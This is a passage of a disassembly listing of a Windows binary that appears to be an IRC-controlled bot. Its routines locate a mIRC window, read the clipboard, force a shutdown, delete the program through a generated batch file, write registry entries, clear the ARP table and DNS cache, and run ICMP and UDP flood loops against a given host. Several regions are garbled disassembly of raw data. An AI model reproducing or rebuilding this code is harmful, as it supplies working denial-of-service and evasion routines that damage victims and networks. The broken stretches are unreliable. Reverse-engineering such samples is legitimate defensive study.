ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_409A19 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_409A19 cmp [ebp+arg_8], esi jz short loc_409A19 cmp byte ptr [eax], 0 jz short loc_409A19 push ebx push edi call sub_41FD5B mov ebx, eax pop ecx test ebx, ebx jz short loc_409A14 push [ebp+arg_4] push edi call sub_415AA0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_409A0D sub eax, edi push eax push edi push ebx call sub_416D20 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_415CD0 push eax push [ebp+arg_8] push ebx call sub_416EF0 push [ebp+arg_4] call sub_415CD0 add eax, esi push eax push ebx call sub_415BF0 push ebx push edi call sub_415BE0 add esp, 30h mov esi, edi loc_409A0D: ; CODE XREF: sub_40998E+3Cj push ebx call sub_415E1D pop ecx loc_409A14: ; CODE XREF: sub_40998E+2Bj mov eax, esi pop ebx jmp short loc_409A1B ; --------------------------------------------------------------------------- loc_409A19: ; CODE XREF: sub_40998E+Cj ; sub_40998E+13j ... xor eax, eax loc_409A1B: ; CODE XREF: sub_40998E+89j pop edi pop esi pop ebp retn sub_40998E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A1F proc near ; CODE XREF: sub_40CCC1+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_415550 mov esi, [ebp+arg_0] push esi call sub_415CD0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_409A55 or eax, 0FFFFFFFFh jmp short loc_409AC8 ; --------------------------------------------------------------------------- loc_409A55: ; CODE XREF: sub_409A1F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_409A77 loc_409A61: ; CODE XREF: sub_409A1F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_409A6E cmp dl, 0Dh jnz short loc_409A72 loc_409A6E: ; CODE XREF: sub_409A1F+48j and byte ptr [ecx+esi], 0 loc_409A72: ; CODE XREF: sub_409A1F+4Dj inc ecx cmp ecx, eax jl short loc_409A61 loc_409A77: ; CODE XREF: sub_409A1F+40j xor edx, edx push edi test eax, eax jle short loc_409AA8 lea edi, [ebp+var_7CC] loc_409A84: ; CODE XREF: sub_409A1F+87j cmp byte ptr [edx+esi], 0 jnz short loc_409AA3 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_409AA3 cmp ebx, 1F4h jge short loc_409AA8 mov [edi], ecx inc ebx add edi, 4 loc_409AA3: ; CODE XREF: sub_409A1F+69j ; sub_409A1F+74j inc edx cmp edx, eax jl short loc_409A84 loc_409AA8: ; CODE XREF: sub_409A1F+5Dj ; sub_409A1F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_409AC6 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_4155B0 add esp, 0Ch loc_409AC6: ; CODE XREF: sub_409A1F+8Ej mov eax, ebx loc_409AC8: ; CODE XREF: sub_409A1F+34j pop esi pop ebx leave retn sub_409A1F endp ; =============== S U B R O U T I N E ======================================= sub_409ACC proc near ; CODE XREF: sub_409B26+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_409B05 push ebx mov ebx, edi loc_409AE9: ; CODE XREF: sub_409ACC+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_409B08 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_409AE9 pop ebx loc_409B05: ; CODE XREF: sub_409ACC+18j pop edi pop esi retn sub_409ACC endp ; =============== S U B R O U T I N E ======================================= sub_409B08 proc near ; CODE XREF: sub_409ACC+25p ; sub_409B26+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_417173 cmp al, 61h pop ecx jl short loc_409B23 cmp al, 7Ah jg short loc_409B23 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_409B23: ; CODE XREF: sub_409B08+Ej ; sub_409B08+12j xor eax, eax retn sub_409B08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B26 proc near ; CODE XREF: sub_40B231+10p ; sub_40B263+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_415D50 push ebx push esi push edi push [ebp+arg_0] call sub_415CD0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_415CD0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_409ACC add esp, 14h dec esi mov edi, esi loc_409B64: ; CODE XREF: sub_409B26+B6j test esi, esi jle short loc_409BE2 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_417173 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_417173 pop ecx cmp eax, ebx pop ecx jz short loc_409BDA loc_409B8A: ; CODE XREF: sub_409B26+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_409B08 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_409BAB mov eax, ecx loc_409BAB: ; CODE XREF: sub_409B26+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_409BDE mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_417173 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_417173 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_409B8A loc_409BDA: ; CODE XREF: sub_409B26+62j dec edi dec esi jmp short loc_409B64 ; --------------------------------------------------------------------------- loc_409BDE: ; CODE XREF: sub_409B26+8Aj xor eax, eax jmp short loc_409BE7 ; --------------------------------------------------------------------------- loc_409BE2: ; CODE XREF: sub_409B26+40j mov eax, [ebp+arg_0] add eax, edi loc_409BE7: ; CODE XREF: sub_409B26+BAj pop edi pop esi pop ebx leave retn sub_409B26 endp ; --------------------------------------------------------------------------- loc_409BEC: ; CODE XREF: seg000:00410985p ; seg000:0041158Cp push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_421088 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp-100h] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 3D0000h add eax, 0FF00858Dh ; --------------------------------------------------------------------------- db 0FFh dd 80088AFFh, 57F1FF9h, 7509F980h, 0F1EB4003h, 48002080h dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h, 21F980EBh dd 858DE67Ch, 0FFFFFF00h, 0A8BE5056h, 0FF0043A4h, 74680875h dd 6800429Bh, 200h, 0BDDCE856h, 0C4830000h, 5EC68B18h ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_409C76 proc near ; CODE XREF: seg000:00411FC0p push esi push 0 call ds:dword_43A348 ; OpenClipboard test eax, eax jz short loc_409CAD push 1 call ds:dword_43A368 ; GetClipboardData mov esi, eax test esi, esi jz short loc_409CAD push edi push esi call ds:dword_4210D4 ; GlobalLock push esi mov edi, eax call ds:dword_4210D0 ; GlobalUnlock call ds:dword_43A3CC ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_409CAD: ; CODE XREF: sub_409C76+Bj ; sub_409C76+19j xor eax, eax pop esi retn sub_409C76 endp ; =============== S U B R O U T I N E ======================================= sub_409CB1 proc near ; CODE XREF: seg000:0041137Cp push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call ds:dword_43A384 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_409D2D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 3D0000h jmp near ptr 0F8CBF336h ; --------------------------------------------------------------------------- dd 1F6856h, 0E857000Fh, 0FFFC6314h, 2474FFFDh, 53D88B14h dd 0B7D4E8h, 56595900h, 0C868016Ah, 55000004h, 0A3D415FFh dd 6A560043h, 4C96801h, 0FF550000h, 43A3D415h, 0E1E85300h dd 1FFFC62h, 6C15FF57h, 6A004210h, 0EB5B5801h db 2 ; --------------------------------------------------------------------------- loc_409D2D: ; CODE XREF: sub_409CB1+16j xor eax, eax pop edi pop esi pop ebp retn sub_409CB1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp-11Ch] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call ds:dword_43A434 ; SearchPathA test eax, eax jz short near ptr loc_409DD1+1 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_421078 push 1 lea eax, [ebp-11Ch] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short near ptr loc_409DD1+1 lea eax, [ebp-18h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-10h] push eax push ebx call near ptr 1360004h mov edx, [ebx-75h] sbb eax, offset dword_42106C call ebx ; send push 0 push edi push 3 push 0 push 2 push 40000000h push dword ptr [ebp+8] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short near ptr loc_409DD1+1 lea eax, [ebp-18h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-10h] push eax push esi call near ptr 1380004h rcl byte ptr [esi-1], 1 loc_409DD1: ; CODE XREF: seg000:00409D5Dj ; seg000:00409D84j ... rcr dword ptr [edi+5Eh], cl pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_409DD7 proc near ; CODE XREF: seg000:0040E1EFp push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_413D4D pop ecx pop ecx push 50005h push 6 call ds:dword_43A2C0 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_409DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DF9 proc near ; CODE XREF: seg000:0040C145p ; seg000:00412240p var_72AF13BB = byte ptr -72AF13BBh var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp ds:dword_42C160, esi push edi jz short loc_409E1D cmp ds:dword_43A448, esi jnz short loc_409E1D push esi call sub_40B392 pop ecx loc_409E1D: ; CODE XREF: sub_409DF9+13j ; sub_409DF9+1Bj call sub_415142 lea eax, [ebp+var_764] push eax push 400h call near ptr 3D0000h dec eax lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4154CD add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_421078 ; CreateFileA mov edi, eax cmp edi, esi jbe near ptr loc_409F7C+1 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4154CD add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 3D0000h rcl byte ptr [edi-1], 15h insb adc [edx+0], al ; CODE XREF: sub_409DF9+12Bj push 10h lea eax, [ebp+var_14] push esi push eax call sub_415550 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_415550 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_438F9C mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 3D0000h nop push eax call near ptr 3D0000h xchg eax, ecx lea eax, [ebp+var_15C] push eax call ds:dword_421094 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short near ptr loc_409F24+1 lea eax, [ebp+var_15C] push 80h push eax call near ptr 3D0000h loc_409F24: ; CODE XREF: sub_409DF9+118j jge short near ptr loc_409EB1+2 test [esi+edi*8-72AF0001h], esp test [eax+50FFFFFDh], esp lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4154CD add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call near ptr 3D0000h mov [ebp+var_72AF13BB], 45h test al, 50h push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call near ptr 3D0000h loc_409F7C: ; CODE XREF: sub_409DF9+72j jge short loc_409FDD pop esi leave retn sub_409DF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F81 proc near ; CODE XREF: seg000:0040C697p var_1860 = byte ptr -1860h var_158 = byte ptr -158h var_58 = byte ptr -58h var_48 = dword ptr -48h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 1860h call sub_415D50 push esi push edi mov ecx, 5C1h mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"... lea edi, [ebp+var_1860] lea eax, [ebp+var_158] rep movsd movsw push offset aCAb3_bat ; "c:\\ab3.bat" push eax movsb call sub_4154CD pop ecx xor esi, esi pop ecx lea eax, [ebp+var_158] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_421078 ; CreateFileA mov edi, eax cmp edi, esi jbe short loc_40A03B lea eax, [ebp+var_4] push esi push eax loc_409FDD: ; CODE XREF: sub_409DF9:loc_409F7Cj lea eax, [ebp+var_1860] push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_1860] push eax push edi call near ptr 0D70004h lds edx, [edi-1] adc eax, offset dword_42106C push 44h lea eax, [ebp+var_48] pop edi push edi push esi push eax call sub_415550 add esp, 0Ch lea ecx, [ebp+var_58] mov [ebp+var_48], edi mov [ebp+var_18], si push 1 pop eax push ecx lea ecx, [ebp+var_48] push ecx push esi push esi push 28h mov [ebp+var_1C], eax push eax push esi lea eax, [ebp+var_158] push esi push eax push esi call near ptr 0D90004h pop ebx loc_40A03B: ; CODE XREF: sub_409F81+55j pop edi pop esi leave retn sub_409F81 endp ; =============== S U B R O U T I N E ======================================= sub_40A03F proc near ; CODE XREF: sub_4013E9+7p ; sub_401B7C+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_43A3B8 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40A067 push [esp+arg_0] call ds:dword_43A3FC ; gethostbyname test eax, eax jnz short loc_40A060 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A060: ; CODE XREF: sub_40A03F+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A067: ; CODE XREF: sub_40A03F+Dj retn sub_40A03F endp ; =============== S U B R O U T I N E ======================================= sub_40A068 proc near ; CODE XREF: sub_40CB59+D6p mov ecx, ds:dword_43A2A0 xor eax, eax test ecx, ecx jz short locret_40A076 call ecx ; DnsFlushResolverCache locret_40A076: ; CODE XREF: sub_40A068+Aj retn sub_40A068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A077 proc near ; CODE XREF: seg000:loc_411F72p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call ds:dword_43A3F4 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40A13D sub ecx, 32h jz loc_40A136 sub ecx, 48h jz short loc_40A0D7 sub ecx, 6Eh jz short loc_40A0D0 loc_40A0B9: ; CODE XREF: sub_40A077+8Bj push eax lea eax, [ebp+var_88] push offset unk_42B3F0 push eax call sub_4154CD add esp, 0Ch jmp short loc_40A117 ; --------------------------------------------------------------------------- loc_40A0D0: ; CODE XREF: sub_40A077+40j push offset unk_42B3B8 jmp short loc_40A109 ; --------------------------------------------------------------------------- loc_40A0D7: ; CODE XREF: sub_40A077+3Bj push [ebp+var_8] call sub_415DA9 push [ebp+var_8] mov esi, eax push edi push esi call sub_415550 add esp, 10h cmp esi, edi jz short loc_40A104 lea eax, [ebp+var_8] push ebx push eax push esi call ds:dword_43A3F4 ; GetIpNetTable cmp eax, edi jz short loc_40A13D jmp short loc_40A0B9 ; --------------------------------------------------------------------------- loc_40A104: ; CODE XREF: sub_40A077+79j push offset unk_42B374 loc_40A109: ; CODE XREF: sub_40A077+5Ej ; sub_40A077+C4j lea eax, [ebp+var_88] push eax call sub_4154CD pop ecx pop ecx loc_40A117: ; CODE XREF: sub_40A077+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40B151 pop ecx loc_40A127: ; CODE XREF: sub_40A077+C8j ; sub_40A077+DCj push esi call sub_415E1D mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A136: ; CODE XREF: sub_40A077+32j push offset unk_42B330 jmp short loc_40A109 ; --------------------------------------------------------------------------- loc_40A13D: ; CODE XREF: sub_40A077+29j ; sub_40A077+89j cmp [esi], edi jbe short loc_40A127 lea ebx, [esi+4] loc_40A144: ; CODE XREF: sub_40A077+DAj push ebx call ds:dword_43A3F0 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A144 jmp short loc_40A127 sub_40A077 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A155 proc near ; CODE XREF: sub_401BD6+268p ; seg000:loc_40252Fp ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_415550 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call ds:dword_43A31C ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_43A6AC movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4154CD add esp, 18h mov eax, esi pop esi leave retn sub_40A155 endp ; =============== S U B R O U T I N E ======================================= sub_40A1AE proc near ; CODE XREF: seg000:004012FEp ; seg000:00401344p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40A1D7 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40A1CA: ; CODE XREF: sub_40A1AE+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40A1CA pop edi jmp short loc_40A1DB ; --------------------------------------------------------------------------- loc_40A1D7: ; CODE XREF: sub_40A1AE+Aj mov edx, [esp+4+arg_0] loc_40A1DB: ; CODE XREF: sub_40A1AE+27j test esi, esi pop esi jz short loc_40A1E5 movzx ecx, byte ptr [edx] add eax, ecx loc_40A1E5: ; CODE XREF: sub_40A1AE+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40A1AE endp ; --------------------------------------------------------------------------- loc_40A1FB: ; DATA XREF: seg000:0040FB6Do push ebp mov ebp, esp mov eax, 10320h call sub_415D50 mov eax, [ebp+8] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd push 1 pop edi mov [eax+120h], edi call ds:dword_43A304 ; IcmpCreateFile mov [ebp+8], eax lea eax, [ebp-0C0h] push eax call ds:dword_43A3B8 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40A256 lea eax, [ebp-0C0h] push eax call ds:dword_43A3FC ; gethostbyname cmp eax, ebx jz short loc_40A25C loc_40A256: ; CODE XREF: seg000:0040A243j cmp dword ptr [ebp+8], 0FFFFFFFFh jnz short near ptr loc_40A2B8+1 loc_40A25C: ; CODE XREF: seg000:0040A254j lea eax, [ebp-0C0h] push eax lea eax, [ebp-344h] push offset unk_42B474 push eax call sub_4154CD add esp, 0Ch cmp [ebp-28h], ebx jnz short loc_40A29C push ebx lea eax, [ebp-344h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-140h] push eax push dword ptr [ebp-144h] call sub_412D32 add esp, 14h loc_40A29C: ; CODE XREF: seg000:0040A27Aj lea eax, [ebp-344h] push eax call sub_40B151 push dword ptr [ebp-30h] call sub_415295 pop ecx pop ecx push edi call near ptr 3D0000h loc_40A2B8: ; CODE XREF: seg000:0040A25Aj fdivr qword ptr [ebx] retn ; --------------------------------------------------------------------------- jz short loc_40A2C9 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-4], eax jmp short loc_40A2CC ; --------------------------------------------------------------------------- loc_40A2C9: ; CODE XREF: seg000:0040A2BBj mov [ebp-4], esi loc_40A2CC: ; CODE XREF: seg000:0040A2C7j push 1Ch lea eax, [ebp-20h] push ebx push eax call sub_415550 or dword ptr [ebp-18h], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp-3Ch], eax jle short loc_40A2EC mov [ebp-3Ch], eax loc_40A2EC: ; CODE XREF: seg000:0040A2E7j cmp [ebp-38h], edi jge short loc_40A2F4 mov [ebp-38h], edi loc_40A2F4: ; CODE XREF: seg000:0040A2EFj xor esi, esi cmp [ebp-40h], ebx jle short loc_40A321 loc_40A2FB: ; CODE XREF: seg000:0040A31Fj push dword ptr [ebp-38h] lea eax, [ebp-20h] push 1Ch push eax push ebx lea eax, [ebp-10320h] push dword ptr [ebp-3Ch] push eax push dword ptr [ebp-4] push dword ptr [ebp+8] call ds:dword_43A29C ; IcmpSendEcho inc esi cmp esi, [ebp-40h] jl short loc_40A2FB loc_40A321: ; CODE XREF: seg000:0040A2F9j push dword ptr [ebp+8] call ds:dword_43A430 ; IcmpCloseHandle lea eax, [ebp-0C0h] push eax lea eax, [ebp-344h] push offset unk_42B434 push eax call sub_4154CD add esp, 0Ch cmp [ebp-28h], ebx jnz short loc_40A36A push ebx lea eax, [ebp-344h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-140h] push eax push dword ptr [ebp-144h] call sub_412D32 add esp, 14h loc_40A36A: ; CODE XREF: seg000:0040A348j lea eax, [ebp-344h] push eax call sub_40B151 push dword ptr [ebp-30h] call sub_415295 pop ecx pop ecx push ebx call near ptr 3D0000h ; --------------------------------------------------------------------------- db 2Ah ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A387 proc near ; DATA XREF: seg000:0040FCB4o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_415D50 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_42104C ; GetTickCount push eax call sub_41551F pop ecx push 11h push 2 push 2 call ds:dword_43A3F8 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415550 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call ds:dword_43A3B8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40A46C lea eax, [ebp+var_B0] push eax call ds:dword_43A3FC ; gethostbyname cmp eax, edi jnz short loc_40A465 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42B4F0 push eax call sub_4154CD add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40A448 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_412D32 add esp, 14h loc_40A448: ; CODE XREF: sub_40A387+9Fj lea eax, [ebp+var_334] push eax call sub_40B151 push [ebp+var_20] call sub_415295 pop ecx pop ecx push esi call near ptr 3D0000h sti loc_40A465: ; CODE XREF: sub_40A387+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40A46F ; --------------------------------------------------------------------------- loc_40A46C: ; CODE XREF: sub_40A387+6Ej lea eax, [ebp+arg_0] loc_40A46F: ; CODE XREF: sub_40A387+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40A48A call sub_415529 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40A48D ; --------------------------------------------------------------------------- loc_40A48A: ; CODE XREF: sub_40A387+F0j push [ebp+var_24] loc_40A48D: ; CODE XREF: sub_40A387+101j call ds:dword_43A378 ; ntohs cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40A49F mov [ebp+var_24], esi loc_40A49F: ; CODE XREF: sub_40A387+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40A4AC mov [ebp+var_24], eax loc_40A4AC: ; CODE XREF: sub_40A387+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40A4C0 mov [ebp+var_28], esi loc_40A4C0: ; CODE XREF: sub_40A387+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40A4E1 loc_40A4C7: ; CODE XREF: sub_40A387+158j call sub_415529 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40A4C7 loc_40A4E1: ; CODE XREF: sub_40A387+13Ej ; sub_40A387+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40A540 push 0Bh pop esi loc_40A4EE: ; CODE XREF: sub_40A387+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_415529 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call ds:dword_43A3DC ; sendto push [ebp+var_28] call ds:dword_421060 ; Sleep dec esi jnz short loc_40A4EE cmp [ebp+var_24], edi jnz short loc_40A4E1 call sub_415529 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call ds:dword_43A378 ; ntohs mov [ebp+var_E], ax jmp short loc_40A4E1 ; --------------------------------------------------------------------------- loc_40A540: ; CODE XREF: sub_40A387+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42B4B0 push eax call sub_4154CD add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40A580 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_412D32 add esp, 14h loc_40A580: ; CODE XREF: sub_40A387+1D7j lea eax, [ebp+var_334] push eax call sub_40B151 push [ebp+var_20] call sub_415295 pop ecx pop ecx push edi call near ptr 3D0000h std sub_40A387 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40A59D proc near ; CODE XREF: seg000:0040A683p ; sub_40A7E1+Cp mov eax, ds:dword_43A6C4 push esi mov esi, ds:dword_42106C cmp eax, 0FFFFFFFFh jz short loc_40A5B1 push eax call esi ; CloseHandle loc_40A5B1: ; CODE XREF: sub_40A59D+Fj mov eax, ds:dword_43A6CC cmp eax, 0FFFFFFFFh jz short loc_40A5BE push eax call esi ; CloseHandle loc_40A5BE: ; CODE XREF: sub_40A59D+1Cj mov eax, ds:dword_43A6C0 cmp eax, 0FFFFFFFFh jz short loc_40A5CB push eax call esi ; CloseHandle loc_40A5CB: ; CODE XREF: sub_40A59D+29j pop esi retn sub_40A59D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5CD proc near ; CODE XREF: seg000:0040B67Fp ; seg000:0041133Ep var_17F68A40 = byte ptr -17F68A40h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_415CD0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push ds:dword_43A6C8 call near ptr 3D0000h xchg al, [ebp+var_17F68A40] mov eax, ds:33FFFFFFh ror cl, 0C3h push 1 pop eax leave retn sub_40A5CD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push offset byte_438F9C push dword ptr [ebp+0Ch] call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40A648 push 7D0h call ds:dword_421060 ; Sleep push dword ptr 